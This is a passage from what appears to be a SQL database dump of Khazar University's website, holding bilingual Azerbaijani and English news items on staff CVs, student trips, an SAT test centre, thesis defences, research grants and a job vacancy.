href=\"http://old.khazar.org/files/%C6%8Ffruz%20F%C9%99rz%C9%99liyeva%20%20cv.pdf\">Əfruz Fərzəliyeva</a></p><p>&nbsp;</p><p><strong>Khazar radio</strong></p><p><a href=\"http://old.khazar.org/files/Alik%20%C6%8Flio%C4%9Flu%20cv.pdf\">Alik Əlioğlu</a><br></p><p>&nbsp;</p><p><strong>Media Center</strong></p><p><a href=\"http://old.khazar.org/files/Natella%20Barkaya%20CV.pdf\">Natella Barkaya</a></p><p>&nbsp;</p><p><strong>Publishing House&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p><p><a href=\"http://old.khazar.org/files/Zakir_Nabiyev_CV.pdf\">Zakir&nbsp;Nabiyev</a></p><p><a href=\"http://old.khazar.org/files/Maisa_Rahimova_CV.pdf\">Maisa&nbsp;Rahimova</a></p><p><strong>&nbsp;</strong></p><p><strong>Library Information Center</strong></p><p><a href=\"http://library.khazar.org/s95/Library-Staff\">See more CVs</a></p><p>&nbsp;</p><p><strong>Maintenance&nbsp;<strong>Office</strong><br></strong></p><p><a href=\"http://old.khazar.org/files/Malayka_Huseynova_CV.pdf\">Malayka&nbsp;Huseynova</a></p><p><a href=\"http://old.khazar.org/files/Sevda_Askerova_CV.pdf\">Sevda&nbsp;Askerova</a><br></p><p>&nbsp;</p><p><strong>Construction and Maintenance Department</strong></p><p><a href=\"http://old.khazar.org/files/Shahin_Isayev_CV.pdf\">Shahin&nbsp;Isayev</a></p><p><a href=\"http://old.khazar.org/files/Shahin_Isayev_CV.pdf\"></a><a href=\"http://old.khazar.org/files/Piri%20Piriyev%20Cv.pdf\">Piri Piriyev</a></p><p>&nbsp;</p><p><strong>Printing House</strong></p><p><a href=\"http://old.khazar.org/files/Rufat_Isayev_CV.pdf\">Rufat&nbsp;Isayev</a></p><p><a href=\"http://old.khazar.org/files/Azerkhan_Yunusov_CV.pdf\">Azerkhan Yunusov</a></p><p><a href=\"http://old.khazar.org/files/Abilova_Mehri_CV.pdf\">Abilova Mehri</a></p><p><a href=\"http://old.khazar.org/files/Aynura_Khalilova_CV.pdf\">Aynura&nbsp;Khalilova</a></p><p>&nbsp;</p><p><strong>Health Care Center</strong></p><p><a href=\"http://old.khazar.org/files/Leyla_Jamilzade%20CV.pdf\">Leyla&nbsp;Jamilzade</a></p><p>&nbsp;</p><p><strong>Administrative Office</strong></p><p><a href=\"http://old.khazar.org/files/Nana_Kalantarli_CV.pdf\">Nana&nbsp;Kalantarli</a></p><p><a href=\"http://old.khazar.org/files/Niyazi%20Azimov%20cv.pdf\">Niyazi Azimov</a><br></p><p><a href=\"http://old.khazar.org/files/Talishxanox%20Mais%20cv.pdf\">Talishxanox Mais</a></p><p><br></p><p><strong>Reception</strong></p><p><strong></strong><a href=\"http://old.khazar.org/files/Aysel%20Akberova%20cv.pdf\">Aysel Akberova&nbsp;</a></p>'),(3792,2172,'en','Young historians’ field trip to Miniature and Numismatic museums','On May 12, 2017, Orkhan Zamanov , an  instructor of the Department of History and Archeology organized the next history class as a field trip to the Numismatic museum located...','<p>On May 12, 2017, Orkhan Zamanov , an&nbsp; instructor of the Department of History and\r\nArcheology organized the next history class as a field trip to the Numismatic\r\nmuseum located in Icherisheher for students of the School of Education majoring\r\nin history. Academic excursion was under the supervision of numismatic expert\r\nGanira Pirguliyeva. The students of School of Education were provided with\r\nextensive and interesting facts about Numismatics of Azerbaijan, East currency,\r\nexchange and trade. The students’ interesting questions and comments, unique\r\naura of China’s mosque where the class was held, the comprehensive presentation\r\nof Ganira Pirguliyeva made the lesson be perceived well and memorable. A short\r\ntrip to Miniature Book Museum located near Palace of Shirvanshahs` palace also\r\nincluded to this academic excursion. The students were given information about\r\nbook art and technology. Microscopic books and being in one of the rarest\r\nmuseums of the world were very interesting for the students of history.</p>'),(3531,2080,'az','Professor Habil Məmmədov Qafqazşünasların I Beynəlxalq Forumunda','2017-ci il aprelin 17-si və 18-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi professor Habil Məmmədov Azərbaycan Milli Elmlər Akademiyasının...','<p>2017-ci\r\nil aprelin 17-si və 18-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi professor Habil Məmmədov Azərbaycan Milli Elmlər Akademiyasının (AMEA) rəyasət\r\nheyəti və Qafqazşünaslıq İnstitutunun təşkilatçılığı ilə Bakıda keçirilən Qafqazşünasların Birinci Beynəlxalq Forumunda “Polşanın Cənubi Qafqaz siyasəti”\r\nmövzusunda məruzə ilə çıxış etdi və XII Bölmənin iclasına sədrlik etdi.</p>'),(3071,1812,'az','Xəzər Universitetinin tələbəsi Azercell təqaüdü qazandı','Azərbaycanın akademik potensialının yüksəlməsinə dəstək məqsədilə “Azercell Telekom” MMC-nin 2016-cı il oktyabrın 1-də elan etdiyi Tələbə Təqaüd Proqramı üzrə son seçimlər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycanın akademik potensialının\r\nyüksəlməsinə dəstək məqsədilə “Azercell Telekom” MMC-nin 2016-cı il oktyabrın\r\n1-də elan etdiyi Tələbə Təqaüd Proqramı üzrə son seçimlər başa çatmışdır.\r\nSeçimlərin nəticəsində Xəzər Universiteti Mühəndislik və Tətbiqi elmlər fakültəsinin\r\nneft-qaz mühəndisliyi üzrə bakalavr pilləsinin üçüncü kurs tələbəsi Əzim Həşimov\r\nTələbə Təqaüd Proqramının qaliblərindən biri olmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, Tələbə Təqaüd Proqramının\r\nmərhələli seçimləri nəticəsində Azərbaycanın müxtəlif ali təhsil müəssisələrindən\r\n27 tələbə “Azercell”-in təqaüdçüsü adına layiq görülmüşdür.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha geniş məlumatı bu link vasitəsilə əldə\r\netmək olar: <a href=\"http://azedupress.com/?p=8089\">http://azedupress.com/?p=8089</a>.</p>'),(2891,1718,'az','“Dünya” məktəbində SAT test mərkəzi açıldı','Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbi artıq SAT imtahanlarının rəsmi şəkildə keçirildiyi mərkəzlərdən birinə çevrildi. Belə ki, SAT...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər\r\nUniversitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbi artıq SAT\r\nimtahanlarının rəsmi şəkildə keçirildiyi mərkəzlərdən birinə çevrildi. Belə ki, \"College Board\" təşkilatının İB məktəbinə göndərdiyi məktubda 60144 təsdiq kodu verilir və bildirilir ki, məktəbdə\r\nSAT imtahanlarının təşkil olunmasına rəsmi şəkildə səlahiyyət verilir. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">SAT dünyanın bir çox\r\nkollec və universitetlərində qəbul olunan standartlaşdırılmış test imtahanıdır.\r\nİmtahan riyaziyyat, tənqidi oxuma və yazı bölmələrindən ibarət olub şagirdlərin\r\nsavadını, yazı, analitik və problem həll etmə bacarıqlarını qiymətləndirir. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">SAT imtahanları ABŞ-da yerləşən “<em>College\r\nBoard</em>” qeyri-hökumət təşkilatı tərəfindən idarə olunur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“College\r\nBoard” təşkilatının bildirdiyinə görə, “SAT imtahanları abiturientlərin\r\nuniversitetə qəbul olması üçün ilk addım atmaqda yardım edir. Test mərkəzinə\r\nçevrilməklə, siz həm şagirdləri SAT, SAT Fənn testləri, həm də ali təhsilə\r\nhazırlıqla bağlı barədə məlumatlandırmaq imkanı əldə edəcəksiniz.”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Dünya”\r\nməktəbində ilk imtahan 2017-ci il yanvarın 21-də keçiriləcək. (Ünvan: Əcəmi Naxçıvani\r\nküç. 9).</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Ətraflı\r\nməlumat üçün “Dünya” məktəbi İB Proqramının koordinatoru Rəna Musayeva ilə əlaqə saxlamaq olar: Tel: (012)\r\n563-59-40/47/48.</p>'),(2892,1718,'en','Dunya IB School Becomes SAT Test Center','Dunya IB School is now an authorized SAT Test Center! It received a letter from the College Board confirming that code 60144 was assigned to Dunya IB School allowing...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Dunya IB School is now an authorized\r\nSAT Test Center! It received a letter from the College Board confirming that code 60144 was assigned to Dunya IB School\r\nallowing it to conduct SAT exams.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The SAT is a\r\nstandardized test&nbsp;accepted by most\r\ncolleges and universities worldwide. It consists of mathematics, critical\r\nreading and writing sections, and the SAT test has been designed to assess\r\nliteracy and writing skills, analytical and problem-solving skills to reflect\r\nwhat students learned in high school.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The SAT is owned and published by the College Board, a private non–profit\r\norganization located in USA. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">According\r\nto the College Board, “SAT test centers help students take that important first\r\nstep on the road to college success. By becoming a test center, you will not\r\nonly help connect motivated students to the SAT, SAT Subject Tests, and\r\nassociated college planning resources, but will also expose more students\r\noverall to the opportunities of higher education.”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nfirst SAT exam will be held on 21<sup>st</sup> of January, 2017 at Dunya IB\r\nSchool (Ajami Nakhchivani 9).</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">For\r\nmore information, please contact</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Ms.\r\nRena Musayeva,</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Coordinator&nbsp;of Dunya School\'s&nbsp;IB&nbsp;Program</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tel: (012) 563-59-40/47/48</p>'),(2893,1719,'az',' “Mükəmməlliyə doğru” adlı tədbir keçirildi','2016-cı il dekabrın 14-də Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzi tələbələrin istəyini nəzərə alaraq, “Mükəmməlliyə doğru” adlı tədbir keçirdi.Tədbirin məqsədi...','<p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il\r\ndekabrın 14-də Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzi tələbələrin\r\nistəyini nəzərə alaraq, “Mükəmməlliyə doğru” adlı tədbir keçirdi. Tədbirin məqsədi gənclərin sağlam həyat tərzinə\r\nmaraq oyatmaq, düzgün qidalanmaq, pis vərdişlərdən uzaqlaşmaq, idmanın əhəmiyyətini\r\nanlatmaq, psixoloji sağlamlığı qorumaq və bunu nümunələrlə göstərmək idi.</p>\r\n<p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Əsas məruzəçi Türkiyənin Orta Doğu Texniki\r\nUniversiteti qida mühəndisliyi məzunu Fövqi Əfəndiyev idi. </p>\r\n<p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbir ərzində tələbələr ideal çəkiyə necə sahib\r\nolmalı, sağlam qida nədir, pis vərdişləri necə tərgitməli və s. məsələlərlə\r\nbağlı məlumat aldılar.</p>'),(2053,1244,'en','   Master Thesis Defence','On June 3rd Master’s thesis defense was conducted by English Language and Literature Department...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;text-indent:.5in;line-height:150%;background:white\"\"=\"\">On June\r\n3<sup>rd</sup> Master’s thesis defense was conducted by English Language and\r\nLiterature Department. Master student Aydan Karimova defended her thesis titled\r\n<em>“Analysis of\r\nphraseological units in linguistics”. </em>The head of the committee was Baylar\r\nHajiyev, the members of the committee were Eldar Shahgaldiyev, Dilbar\r\nZeynalova, Reyhan Madatova, and Eynur Mehdiyev. M.A student made a presentation\r\non her thesis and answered the committee members’ questions. In general, the\r\nthesis defense has been successful.&nbsp;</p>'),(1910,1160,'en','Khazar Instructors at International Seminar','On May 29, 2016, instructors of the Azerbaijani Language and Literature Department Elmira Mammadova-Kekech and Ilaha Hajiyeva, Department Assistant Gunel Ismayilova, and visiting researcher from Poland Julia Krajcarz','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On May 29, 2016, instructors of the Azerbaijani Language and Literature\r\nDepartment Elmira Mammadova-Kekech and Ilaha Hajiyeva, Department Assistant\r\nGunel Ismayilova, and visiting researcher from Poland Julia Krajcarz attended\r\nan international scientific seminar on “Active Teachers: Modern Applications of\r\nInternational Experience.” The seminar took place at Odlar Yurdu University\r\nwith the coordination of Modern Innovations Lyceum. Participants included\r\ninstructors from various universities and schools. It was held in a question-answer\r\nformat. At the end of the event, every participant was given a certificate.&nbsp;</p>'),(1911,1163,'en','Khazar Simulation in the Press','The “Model of Solutions to the Nagorno-Karabakh Conflict” held at Khazar University was publicized by azpress.az.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\n“Model of Solutions to the Nagorno-Karabakh Conflict” held at Khazar University\r\nwas publicized by <strong>azpress.az.</strong> The news article is available (in\r\nAzerbaijani) at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=54057\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=54057</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1912,1173,'az','“Xəzər”də imtahan həyəcanları   Fotosessiya','“Xəzər”də imtahan həyəcanları davam edir.','<p>“Xəzər”də imtahan həyəcanları davam edir.</p>'),(1913,1173,'en','Exams at Khazar University','Exams at Khazar University continue. ','<p>Exams at Khazar University\r\ncontinue.&nbsp;</p>'),(1914,1174,'az','“Xəzər”də imtahan həyəcanları   Fotosessiya','“Xəzər”də imtahan həyəcanları davam edir.','<p>“Xəzər”də imtahan həyəcanları davam edir.</p>'),(1915,1174,'en','Exams at Khazar University','Exams at Khazar University continue. ','<p>Exams at Khazar University\r\ncontinue.&nbsp;</p>'),(1916,1175,'az','“Xəzər”ə təşəkkür məktubu','Türkiye Cumhuriyeti Giresun Universitesi rektörlüğü\r\n\r\nözel kalem\r\n\r\n Sayın Prof. Dr. Hamlet İsahanlı','<p><strong>Türkiye\r\nCumhuriyeti Giresun Universitesi rektörlüğü</strong></p>\r\n<p><strong>özel kalem</strong></p>\r\n<p>&nbsp;</p>\r\n<p>Sayın Prof. Dr. Hamlet İsahanlı</p>\r\n<p>Mütevelli Heyeti Başkanı</p>\r\n<p>&nbsp;</p>\r\n<p>Giresun Üniversitesi&nbsp; Rektörlüğüne atanmam\r\nvesilesiyle göndermiş olduğunuz kutlama mektuplarıyla, göstermiş olduğunuz\r\nteveccühünüze teşekkür eder, esenlikler dilerim.</p>\r\n<p>&nbsp;</p>\r\n<p>Prof.Dr.Cevdet Coşkun</p>\r\n<p>Rektör</p>'),(1917,1175,'en','Thank You Letter to Khazar','Executive Secretary to Rector, Giresun University\r\n\r\nRepublic of Turkey\r\n\r\nTo Prof. Dr. Hamlet Isaxanli','<p>Executive\r\nSecretary to Rector, Giresun University</p>\r\n<p>Republic of\r\nTurkey</p>\r\n<p>To Prof. Dr.\r\nHamlet Isaxanli</p>\r\n<p>Chairman of\r\nBoard of Directors and Trustees</p>\r\n<p>Thank you for\r\nyour congratulatory letter and for the concern you have shown on the occasion\r\nof my appointment as Rector of Giresun University. I am grateful to you. </p>\r\n<p>Prof.\r\nDr. Cevdet Coşkun</p>\r\n<p>Rector</p>'),(1918,1176,'az','Eımi Şuranın iclası','İyunun 3-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet elmi şurasının növbəti iclası keçirildi. ','<p>İyunun 3-də Xəzər Universitetinin rektoru Hassan\r\nNiknafsın sədrliyi ilə universitet elmi şurasının növbəti iclası keçirildi.\r\nİclasın gündəliyinə əsasən məzunluq haqqında fakültə dekanları Hassan Niknafs,\r\nİnqilab Əhmədov, Cabir Xəlilov və Elza Səmədovanın, doktoranturaya\r\n(dissertanturaya) qəbul olunmuş şəxslərin dissertasiya mövzuları və elmi rəhbərlərinin\r\ntəsdiq edilməsi,<strong> </strong>Dillər və mədəniyyətlər departamentinin müəllimi Zivər\r\nHüseynlinin dosent vəzifəsinə seçilməsi barədə universitetin Magistratura,\r\ndoktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyevin məlumatları\r\ndinlənildi və müvafiq qərarlar qəbul edildi.</p>\r\n<p>Cari məsələlər qismində Tələbə Məclisinin\r\nprezidenti Qurban Əsgərov və müavini Tərlan Məmmədlinin, Siyasi elm və beynəlxalq\r\nmünasibətlər departamentinin müdiri Muxtar Hacızadənin universitet həyatı ilə\r\nbağlı təklifləri dinlənildi və onların öyrənilərək qərarlar qəbul ediləcəyi\r\nbildirildi.&nbsp;</p>'),(1919,1176,'en','Academic Council Meeting','On June 3, 2016, a routine meeting of the Khazar University Academic Council was held under the chairmanship of President Hasan Niknafs.','<p>On June 3, 2016, a routine meeting of the Khazar\r\nUniversity Academic Council was held under the chairmanship of President Hasan\r\nNiknafs. Items on the agenda that were heard and decided included: report on\r\ngraduation by deans Hasan Niknafs, Ingilab Ahmadov, Jabir Khalilov and Elza\r\nSamadova; doctorate students’ research proposals and approval by academic\r\nadvisers; and report by Dr. Eldar\r\nShahgaldiyev, Head of the Division for Graduate Students and Research, on\r\nDepartment of Languages and Civilizations instructor Ziver Huseynova’s\r\nselection for associate professor. </p>\r\n<p>Other issues that were\r\nheard and tabled for further discussion included a report by Student Union\r\nPresident Gurban Asgarov and Deputy Tarlan Mammadli as well as recommendations\r\nabout university life by Dr. Mukhtar Hajizada, Head of the Department of\r\nPolitical Science and International Relations.&nbsp;</p>'),(2071,1257,'az','Xəzər Univeritetinin AOŞAM  araşdırma mərkəzinin direktoru Koreyada beynəlxalq jurnalın məsləhətçilər surasının üzvü təyin edilmişdir','Xəzər Universitetinin Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin (AQŞAM) direktoru Fərda Əsədov...','<p>Xəzər Universitetinin Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin\r\n(AQŞAM) direktoru Fərda Əsədov Cənubi Koreyanın Keymyung Universitetinin yeni\r\nİpək Yolu və Mərkəzi Asiya araşdırmaları (<em>Acta Via Serica</em>) jurnalının\r\nbeynəlxalq məsləhətçilər şurasının üzvü təyin edilmişdir. Jurnal ildə iki dəfə\r\ningilis dilində dərc ediləcək və onun ilk buraxılışı 2016 ilin sonunda gözlənilir.\r\nJurnalın veb səhifəsində əlavə məlumat əldə etmək olar: <a href=\"http://censcakmu.org/sub03/sub03_n1.php\">http://censcakmu.org/sub03/sub03_n1.php</a></p>'),(2072,1257,'en','Director of CEMES research of the Khazar University appointed to the international Advisory Board of a journal in South Korea','Director of the Center for Eurasia and Middle East Studies of the Khazar University has been appointed a member...','<p>Director\r\nof the Center for Eurasia and Middle East Studies of the Khazar University has\r\nbeen appointed a member of International Advisory Board of the Journal of Silk\r\nRoad and Central Asia Studies at Keymyung University, South Korea. The journal\r\nwill be published biannually and the first issue is to be released by the end\r\nof year 2016. More information about the journal is available on the journal\r\nwebsite <a href=\"http://censcakmu.org/sub03/sub03_n1.php\">http://censcakmu.org/sub03/sub03_n1.php</a></p>'),(2068,1254,'en','The article of our colleague in “Music World” journal','The article titled “Sardar Farajov’s piano preludes” by Zulfiyya Sadigova, Assosiate professor, Head of Music and Art Department...','<p>The article titled\r\n“Sardar Farajov’s piano preludes” by Zulfiyya Sadigova, Assosiate professor,\r\nHead of Music and Art Department, Khazar University, was published in the\r\ninternational, pedagogocal, cultural and educational journal “Music World”,\r\n1/66 issue, 2016. </p>\r\n<p>The article is devoted to\r\nthe analysis of piano preludes of Honoured Art Worker, Sardar Farajov.&nbsp;</p>'),(2069,1255,'en','The research project will be implemented in the field of exploration and production of oil and gas fields','On 22nd June, 2016, the grant project of the “EILINK” Scientific Research and Development Center in Petroleum Engineering...','<p>On 22nd June, 2016, the grant project of the “EILINK” Scientific Research and Development Center in Petroleum Engineering Department at Khazar University, on the basis of BP Caspian company order, on the topic “Evaluation of the rock properties and productivity of the structurally deformed areas based on outcrop and field analogues in Azerbaijan” was officially approved by BP Azerbaijan, Georgia and the regional company of Turkey. The total duration of the project is considered to be nine months. The project is dedicated to field studies of geological survey of the outcrops of the Productive Series and evaluation of their depositional environments, bedding forms, measurements of porosity and permeability for studying their reservoir properties in structurally deformed rocks in steeply dipping limb areas in analogue fields of Azeri-Gunship-Chirag fields such as the Yasamal Valley (Shubany, Ateshgah, Shabandag), Lokbatan, Puta-Kushkhana, Korgez-Kiziltepe and Shongar fields outcrops. The gained findings will be applied to the well logs and cores, seismic exploration, well testing and production data will be used for evaluation productivity of the Deep Water Guneshli field.&nbsp; The project will be carried out by supervising and execution of Associate Professor Gasham Zeynalov, head of Petroleum Engineering department and by execution of Shahriyar Alkhasli, a PhD student at Khazar University.</p><p>The project is intended to be carried out by the collaboration of Khazar University and Society of petroleum Engineers of Azerbaijan.&nbsp;</p>'),(2070,1256,'en','Vacancy: MBA Director','Khazar University School of Economics and Management.\r\nMBA Director\r\n','<p><strong>Khazar University</strong></p>\r\n<p><strong>School of Economics and Management</strong></p>\r\n<p><strong>MBA\r\nDirector</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Job Description</strong></p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To design, develop, plan and oversee the implementation and evaluation\r\nof new and current academic programs, activities, and services to increase MBA\r\nprogram value.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To advise current and prospective students regarding registration,\r\ncourse selection, individualized plans of study, and graduation requirements.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To plan and implement subject related activities and events.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To teach\r\nMBA courses.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo communicate with teachers and collect\r\nsyllabi.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo control daily academic activities of\r\nteachers and students.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To conduct academic research and publish in scholarly journals.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To report on academic activities to the Head of Economics and Management\r\nDepartment, and administrative activities to the Dean of the School of\r\nEconomics and Management.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To help with the overall running of the faculty by undertaking tasks as\r\nrequested and directed by the Dean of the School of Economics and Management.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Qualifications</strong></p>\r\n<p>&nbsp;</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MBA/master\r\ndegree. </p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Research potential and good teaching capabilities.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Excellent proficiency in spoken\r\nand written English.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood computer\r\nskills including database management.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good oral and written communication skills, and ability to work\r\neffectively.</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A bright and positive attitude, and self-motivation</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good time and stress management skills</p>\r\n<p>●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collegiality: respectful, approachable and team oriented, building\r\nstrong working relationships and a positive work environment.</p>\r\n<p>&nbsp;</p>\r\n<p>Preferable start of employment is September 2016.</p>\r\n<p>&nbsp;</p>\r\nInterested candidates are\r\ninvited to send a Curriculum Vitae with names of three references and a letter\r\nof motivation by email to the Dean of the School of Economics and Management,\r\nProf. Dr. Ingilab Ahmadov at <a href=\"mailto:ingilab@khazar.org\">ingilab@khazar.org</a>'),(1878,1156,'az','“Creative Autor”-1 müsabiqəsində iştirakım unudulmaz anlarla yadda qaldı”','“Ədalət” qəzetinin rəsmi internet səhifəsində dəfələrlə müxtəlif müsabiqələrin qalibi olmuş fiziki qüsurlu gənc yazıçı və sayt rəhbəri Samir İmanovla mühsahibə dərc edirlmişdir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Ədalət” qəzetinin rəsmi internet səhifəsində\r\ndəfələrlə müxtəlif müsabiqələrin qalibi olmuş fiziki qüsurlu gənc yazıçı və\r\nsayt rəhbəri Samir İmanovla mühsahibə dərc edirlmişdir. Müsahibədə S.İmanov Xəzər\r\nUniversitetində keçirilən Yaradıcı müəllif (“<em>Creative Autor</em>”-1) adlı\r\nmüsabiqənin onun həyatında ən yaddaqalan hadisələrdən biri olduğunu xüsusi qeyd\r\netmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.adalet.az/w99274/\"></a><a href=\"http://www.adalet.az/w99274/\"></a>  </p><p><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',\'serif\'\"><a href=\"http://www.adalet.az/w99274/%22Bir_barma%C4%9F%C4%B1mla_yaz%C4%B1rd%C4%B1m%22_-_H%C6%8FR_%C5%9EEY%C6%8F_R%C6%8F%C4%9EM%C6%8FN/\">http://www.adalet.az/w99274/%22Bir_barma%C4%9F%C4%B1mla_yaz%C4%B1rd%C4%B1m%22_-_H%C6%8FR_%C5%9EEY%C6%8F_R%C6%8F%C4%9EM%C6%8FN/</a></span><o:p></o:p></p>'),(1847,1139,'az','AzərTac “Imagine”dən yazdı','2016-cı il mayın 20-də Azərtac Azərbaycan Dövlət İnformasiya Agentliyi Xəzər Universitetinin “Imagine” komandasının ekstremizmə qarşı beynəlxalq müsabiqəsinin qalibi olması haqqında xəbəri yayımlamışdır.','<p>2016-cı il mayın 20-də Azərtac Azərbaycan Dövlət\r\nİnformasiya Agentliyi Xəzər Universitetinin “Imagine” komandasının ekstremizmə\r\nqarşı beynəlxalq müsabiqəsinin qalibi olması haqqında xəbəri yayımlamışdır. </p>\r\n<p>Bu haqda daha geniş müılumatı bu link vasitəsilə əldə etmək olar: </p>\r\n<p><a href=\"http://azertag.az/xeber/953529\">http://azertag.az/xeber/953529</a> </p>'),(1848,1139,'en','Azertac News about Imagine Team','On May 20, 2016, Azertac Azerbaijan State Information Agency published an article about the victory of Khazar University’s Imagine Team in an international competition to campaign against extremism.','<p>On May 20, 2016, Azertac Azerbaijan\r\nState Information Agency published an article about the victory of Khazar\r\nUniversity’s Imagine Team in an international competition to campaign against\r\nextremism. The full text of the article is available (in Azerbaijani) at the\r\nfollowing link: </p>\r\n<p><a href=\"http://azertag.az/xeber/953529\">http://azertag.az/xeber/953529</a></p>\r\n<p>&nbsp;</p>'),(1849,1140,'en','Trip to Gala Archeological/Ethnographic Museum','On May 22, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani Language and Literature of Khazar University, organized a trip to the Gala Village Archeological/Ethnographic Museum Complex for Julia Krajcarz,','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nMay 22, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani\r\nLanguage and Literature of Khazar University, organized a trip to the Gala\r\nVillage Archeological/Ethnographic Museum Complex for Julia Krajcarz, visiting\r\nresearcher from Poland. First, she visited the Gala Castle. Then she viewed\r\nexhibits in the museum including clay dishes, remains of stone buildings, and\r\nthe “Merchant’s House.” She learned about the history and culture of the Gala\r\nVillage from local residents during the tour. At the end of the trip, Krajcarz\r\nshared her impressions.&nbsp;</p>'),(1841,1135,'en','Journal’s Assistant Editor Leads Seminar','On May 19, 2016, Khayala Mammadova, Assistant Editor for Khazar Journal 